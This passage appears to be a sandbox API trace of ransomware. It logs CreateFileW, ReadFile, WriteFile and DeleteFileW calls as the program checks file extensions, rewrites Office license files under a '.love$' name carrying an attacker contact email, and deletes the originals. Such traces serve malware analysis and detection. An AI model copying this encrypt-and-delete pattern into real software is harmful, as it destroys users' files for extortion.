"c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 1 [0260.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0260.557] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0260.557] lstrlenW (lpString=".doc") returned 4 [0260.557] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.557] lstrlenW (lpString=".docx") returned 5 [0260.558] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.558] lstrlenW (lpString=".pdf") returned 4 [0260.558] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.558] lstrlenW (lpString=".xls") returned 4 [0260.558] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.558] lstrlenW (lpString=".xlsx") returned 5 [0260.558] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.558] lstrlenW (lpString=".ppt") returned 4 [0260.558] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0260.558] lstrlenW (lpString=".zip") returned 4 [0260.558] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.558] lstrlenW (lpString=".rar") returned 4 [0260.558] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.558] lstrlenW (lpString=".bz2") returned 4 [0260.558] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.558] lstrlenW (lpString=".7z") returned 3 [0260.558] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0260.558] lstrlenW (lpString=".dbf") returned 4 [0260.558] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0260.558] lstrlenW (lpString=".1cd") returned 4 [0260.558] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0260.558] lstrlenW (lpString=".jpg") returned 4 [0260.558] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0260.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0260.558] lstrlenW (lpString=".doc") returned 4 [0260.558] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.559] lstrlenW (lpString=".docx") returned 5 [0260.559] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.559] lstrlenW (lpString=".pdf") returned 4 [0260.559] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.559] lstrlenW (lpString=".xls") returned 4 [0260.559] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.559] lstrlenW (lpString=".xlsx") returned 5 [0260.559] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.559] lstrlenW (lpString=".ppt") returned 4 [0260.559] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0260.559] lstrlenW (lpString=".zip") returned 4 [0260.559] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.559] lstrlenW (lpString=".rar") returned 4 [0260.559] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.559] lstrlenW (lpString=".bz2") returned 4 [0260.559] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.559] lstrlenW (lpString=".7z") returned 3 [0260.559] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0260.559] lstrlenW (lpString=".dbf") returned 4 [0260.559] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0260.559] lstrlenW (lpString=".1cd") returned 4 [0260.559] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0260.559] lstrlenW (lpString=".jpg") returned 4 [0260.559] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.560] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0260.560] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 43 [0260.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0260.561] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=22224) returned 1 [0260.561] CloseHandle (hObject=0x568) returned 1 [0260.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 0x220 [0260.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0260.562] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.562] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0260.563] GetLastError () returned 0x0 [0260.563] ReadFile (in: hFile=0x568, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x56d0, lpOverlapped=0x0) returned 1 [0260.655] WriteFile (in: hFile=0x56c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x56e0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x56e0, lpOverlapped=0x0) returned 1 [0260.657] ReadFile (in: hFile=0x568, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0260.657] WriteFile (in: hFile=0x56c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x12a, lpOverlapped=0x0) returned 1 [0260.657] SetEndOfFile (hFile=0x56c) returned 1 [0260.657] CloseHandle (hObject=0x56c) returned 1 [0260.657] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.657] SetEndOfFile (hFile=0x568) returned 1 [0260.679] CloseHandle (hObject=0x568) returned 1 [0260.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0260.682] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0260.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0260.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0260.683] lstrlenW (lpString=".doc") returned 4 [0260.683] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.683] lstrlenW (lpString=".docx") returned 5 [0260.683] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.683] lstrlenW (lpString=".pdf") returned 4 [0260.684] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.684] lstrlenW (lpString=".xls") returned 4 [0260.684] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.684] lstrlenW (lpString=".xlsx") returned 5 [0260.684] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.684] lstrlenW (lpString=".ppt") returned 4 [0260.684] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0260.684] lstrlenW (lpString=".zip") returned 4 [0260.684] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.684] lstrlenW (lpString=".rar") returned 4 [0260.684] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.684] lstrlenW (lpString=".bz2") returned 4 [0260.684] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.684] lstrlenW (lpString=".7z") returned 3 [0260.684] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0260.684] lstrlenW (lpString=".dbf") returned 4 [0260.684] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0260.684] lstrlenW (lpString=".1cd") returned 4 [0260.684] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0260.684] lstrlenW (lpString=".jpg") returned 4 [0260.684] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0260.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0260.685] lstrlenW (lpString=".doc") returned 4 [0260.685] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0260.685] lstrlenW (lpString=".docx") returned 5 [0260.685] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0260.685] lstrlenW (lpString=".pdf") returned 4 [0260.685] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0260.685] lstrlenW (lpString=".xls") returned 4 [0260.685] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0260.685] lstrlenW (lpString=".xlsx") returned 5 [0260.685] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0260.685] lstrlenW (lpString=".ppt") returned 4 [0260.685] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0260.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0260.685] lstrlenW (lpString=".zip") returned 4 [0260.685] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0260.685] lstrlenW (lpString=".rar") returned 4 [0260.685] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0260.685] lstrlenW (lpString=".bz2") returned 4 [0260.685] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0260.685] lstrlenW (lpString=".7z") returned 3 [0260.685] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0260.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0260.685] lstrlenW (lpString=".dbf") returned 4 [0260.685] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0260.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0260.686] lstrlenW (lpString=".1cd") returned 4 [0260.686] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0260.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ppd.xrm-ms") returned 93 [0260.686] lstrlenW (lpString=".jpg") returned 4 [0260.686] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0260.686] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0260.686] lstrlenW (lpString="HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 46 [0260.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0260.687] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=11674) returned 1 [0260.687] CloseHandle (hObject=0x568) returned 1 [0260.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0260.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0260.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0260.688] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.688] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0260.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0260.690] GetLastError () returned 0x0 [0260.690] ReadFile (in: hFile=0x568, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0261.222] WriteFile (in: hFile=0x45c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0261.233] ReadFile (in: hFile=0x568, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0261.233] WriteFile (in: hFile=0x45c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x130, lpOverlapped=0x0) returned 1 [0261.233] SetEndOfFile (hFile=0x45c) returned 1 [0261.233] CloseHandle (hObject=0x45c) returned 1 [0261.233] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.233] SetEndOfFile (hFile=0x568) returned 1 [0261.279] CloseHandle (hObject=0x568) returned 1 [0261.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.444] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0261.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0261.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0261.732] lstrlenW (lpString=".doc") returned 4 [0261.732] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0261.732] lstrlenW (lpString=".docx") returned 5 [0261.732] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0261.732] lstrlenW (lpString=".pdf") returned 4 [0261.732] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0261.732] lstrlenW (lpString=".xls") returned 4 [0261.732] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0261.732] lstrlenW (lpString=".xlsx") returned 5 [0261.732] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0261.732] lstrlenW (lpString=".ppt") returned 4 [0261.732] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0261.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0261.732] lstrlenW (lpString=".zip") returned 4 [0261.733] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0261.733] lstrlenW (lpString=".rar") returned 4 [0261.733] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0261.733] lstrlenW (lpString=".bz2") returned 4 [0261.733] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0261.733] lstrlenW (lpString=".7z") returned 3 [0261.733] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0261.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0261.733] lstrlenW (lpString=".dbf") returned 4 [0261.733] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0261.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0261.733] lstrlenW (lpString=".1cd") returned 4 [0261.733] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0261.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0261.733] lstrlenW (lpString=".jpg") returned 4 [0261.733] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0261.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0261.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0261.735] lstrlenW (lpString=".doc") returned 4 [0261.735] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0261.735] lstrlenW (lpString=".docx") returned 5 [0261.735] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0261.735] lstrlenW (lpString=".pdf") returned 4 [0261.735] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0261.735] lstrlenW (lpString=".xls") returned 4 [0261.735] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0261.735] lstrlenW (lpString=".xlsx") returned 5 [0261.735] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0261.735] lstrlenW (lpString=".ppt") returned 4 [0261.735] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0261.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0261.735] lstrlenW (lpString=".zip") returned 4 [0261.735] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0261.735] lstrlenW (lpString=".rar") returned 4 [0261.735] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0261.735] lstrlenW (lpString=".bz2") returned 4 [0261.735] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0261.735] lstrlenW (lpString=".7z") returned 3 [0261.736] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0261.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0261.736] lstrlenW (lpString=".dbf") returned 4 [0261.736] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0261.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0261.736] lstrlenW (lpString=".1cd") returned 4 [0261.736] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0261.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0261.736] lstrlenW (lpString=".jpg") returned 4 [0261.736] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0261.736] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0261.736] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms") returned 40 [0261.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0261.738] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=19982) returned 1 [0261.738] CloseHandle (hObject=0x388) returned 1 [0261.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0261.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0261.740] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.740] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0261.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0261.742] GetLastError () returned 0x0 [0261.743] ReadFile (in: hFile=0x388, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x4e0e, lpOverlapped=0x0) returned 1 [0261.747] WriteFile (in: hFile=0x568, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x4e10, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x4e10, lpOverlapped=0x0) returned 1 [0261.750] ReadFile 